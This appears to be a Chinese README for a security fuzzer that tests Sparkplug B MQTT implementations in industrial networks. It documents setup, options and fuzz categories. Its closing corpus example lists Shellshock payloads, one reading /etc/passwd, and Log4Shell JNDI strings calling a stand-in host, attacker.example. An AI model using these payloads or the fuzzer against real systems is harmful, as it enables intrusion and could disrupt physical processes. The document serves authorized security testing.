一个用于测试 Sparkplug B MQTT 协议实现的全面安全评估工具。该模糊测试器系统性地测试所有 9 种消息类型中的所有协议字段，发现网络上的活跃设备，并生成详细日志以供分析。
本工具会向目标代理发送畸形、注入及违反协议的 MQTT 消息。只能针对您拥有或已获得明确书面授权进行测试的系统运行。 Sparkplug B 代理通常位于 OT/ICS 环境中，意外的负载可能干扰物理过程 — 除非另有证明，否则假定每个目标都与生产环境相邻。
如果您使用此工具在 Sparkplug B 实现中发现漏洞，请与相关供应商进行协调披露。要报告本工具本身的安全问题，请参阅 SECURITY.md。
Sparkplug B 规范定义了基于 MQTT 和 Google Protocol Buffers 构建的主题命名空间和负载格式，适用于工业物联网 (IIoT) 环境。该模糊测试器通过以下方式评估 Sparkplug B 实现的安全性和健壮性：
在较新的 Debian/Ubuntu/Kali（PEP-668 系统）上，--setup 无法 pip install 到系统 Python — 请先使用虚拟环境或 pipx。推荐方式：```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
或者，如果你不想自己管理 venv，可以使用 `pipx run` 运行。在没有 PEP-668 强制的旧系统上，直接运行 `python3 sparkplug-fuzzer.py --setup` 即可。
`--setup` 将：
1. 安装 pip 依赖（`paho-mqtt`、`protobuf`）
2. 克隆 [Eclipse Tahu](https://github.com/eclipse/tahu) 仓库的固定标签（参见脚本中的 `TAHU_REF`）
3. 复制 `sparkplug_b.py` 和 `array_packer.py` 辅助模块
4. 将 `sparkplug_b.proto` 编译成 Python 绑定（如果可用则使用 `protoc`，否则回退到 `grpcio-tools`）
5. 清理 Tahu 克隆
设置完成后，你的目录应包含：```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
这将：
1. 连接到位于 `localhost:1883` 的代理
2. 监听 10 秒以发现现有的 Sparkplug 设备
3. 将模糊测试器建立为 Sparkplug 节点/设备
4. 运行全部 12 个模糊测试类别（约 635+ 个测试用例）
5. 向任何已发现的设备发送伪造消息
6. 将结果写入 `sparkplug_fuzz.jsonl`
## 用法
### 命令行选项```
python3 sparkplug-fuzzer.py [OPTIONS]
| 选项 | 默认值 | 描述 |
|---|---|---|
-H, --host | localhost | MQTT 代理主机名或 IP |
-p, --port | 1883（使用 --tls 时为 8883） | MQTT 代理端口 |
-u, --username | None | MQTT 用户名（也会读取 MQTT_USERNAME 环境变量） |
-P, --password | None | MQTT 密码（也会读取 MQTT_PASSWORD；传入 - 可从标准输入无回显读取） |
--tls | off | 通过 TLS 连接；若未设置 -p，默认端口变为 8883 |
--cafile | None | 用于 TLS 服务器证书验证的 CA 证书包 |
--insecure | off | 跳过 TLS 主机名/证书验证（仅用于测试） |
-g, --group | Sparkplug B Devices | 模糊器注册所用的 Sparkplug 组 ID |
-n, --node | FuzzNode | 模糊器的 Sparkplug 边缘节点 ID |
-d, --device | FuzzDevice | 模糊器的 Sparkplug 设备 ID |
-c, --categories | all | 要运行的模糊测试类别列表，以空格分隔 |
--discovery-time | 10 | 被动监听网络发现的时间（秒） |
--delay | 0.1 | 模糊消息之间的延迟（秒） |
--probe-anon-write | off | 在发现期间，发送一条 QoS=1 的发布消息，以确认代理是否接受未经身份验证的 PUBLISH |
-l, --log | sparkplug_fuzz.jsonl | 输出日志文件名（相对路径位于 --output-dir 内；绝对路径按原样使用） |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | 每次运行的输出目录。若不存在则自动创建。 |
-v, --verbose | 0 | 提高控制台详细程度（-v = info，-vv = debug）。-vv 还会显示模糊生成器跳过的内容，并且受限制的 paho.mqtt 日志记录器会随详细程度提升至 INFO/DEBUG。 |
--setup | — | 安装所有依赖并退出 |
--tahu-path | — | 本地 eclipse/tahu 克隆（或其 python/core 目录）的路径。在离线隔离环境中由 --setup 使用，代替 git clone。 |
--extra-string-payloads | — | 包含额外字符串注入载荷的文件路径（每行一个，UTF-8）。会追加到内置的 STRING_FUZZ_VALUES，不会替换它们。最多 10 MB / 10,000 条载荷。参见 自定义字符串语料库。 |
| 类别 | 描述 | 大致用例数 |
|---|---|---|
boundary | 所有 19 种数值数据类型的最小值/最大值/溢出，带值的 is_null，标志组合 | ~200 |
string | 跨 String、Text、UUID、MetaData 字段及 STATE 消息的注入载荷（XSS、SQLi、格式字符串、路径遍历、命令注入、空字节） | ~100 |
type_mismatch | 声明的数据类型与错误的 protobuf 值字段不匹配、无效的数据类型代码、多个 oneof 字段 | ~150 |
sequence | 序列间隙、重复、回退、翻转，NBIRTH/NDEATH 之间 bdSeq 不匹配 | ~20 |
timestamp | 零值、uint64 最大值、遥远的未来/过去时间、指标与载荷时间戳不一致、DateTime 极端值 | ~15 |
alias | 不同指标的重复别名、极端别名值、数据消息中未定义的别名 | ~15 |
orphan | 针对不存在设备、节点、组的数据/命令；未定义的模板引用 | ~20 |
ordering | 协议状态违规：出生前发送数据、重复出生、死亡后发送数据、错误的出生顺序 | ~15 |
recursive | 嵌套 PropertySet 链（深度 1-100）、键/值长度不匹配、PropertySetList 变体 | ~15 |
dataset | 列数不匹配、行元素不匹配、类型违规、空/超大数据集、列名中的特殊字符 | ~25 |
malformed | 二进制 protobuf 损坏：截断、位翻转、随机字节、超长 varint、错误的消息类 | ~30 |
topic | 大小写变体、错误版本、多余/缺少的斜杠、特殊字符、主题字符串中的通配符 | ~30 |
使用身份验证运行所有类别：```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**在 `ps` 中不暴露凭据的情况下传递凭据：**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
通过 TLS 连接：```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**被动认证评估 + 主动写入探测：**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
仅运行与注入相关的类别：```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**以缓慢节奏进行扩展发现（最小化代理负载）：**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
自定义组/节点标识和日志文件：```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**在单独的终端中监控代理流量：**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
使用预先克隆的 Tahu 仓库进行离线设置：```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**每次运行的输出布局：**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
内置的 STRING_FUZZ_VALUES 覆盖了经典注入类别（空/超大字符串、空字节、格式字符串、XSS、SQLi、路径遍历、原型污染）。真实攻防中通常需要针对下游消费 Broker 数据的任何组件的二阶载荷——例如，将指标名称通过 shell 传给历史数据库的 historian、将值喂给 log4j 的基于 Java 的 SCADA 主机、在 HTML 中渲染标签名称的仪表板，等等。
--extra-string-payloads <FILE> 标志会在内置语料之外追加一个额外的语料库。格式为每行一个载荷，UTF-8 编码。仅含空白的行会被保留（在模糊测试中通常是有意为之）；完全空白的行会被丢弃。该标志是追加到内置列表，而非替换，因此原有的覆盖范围得以保留。```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF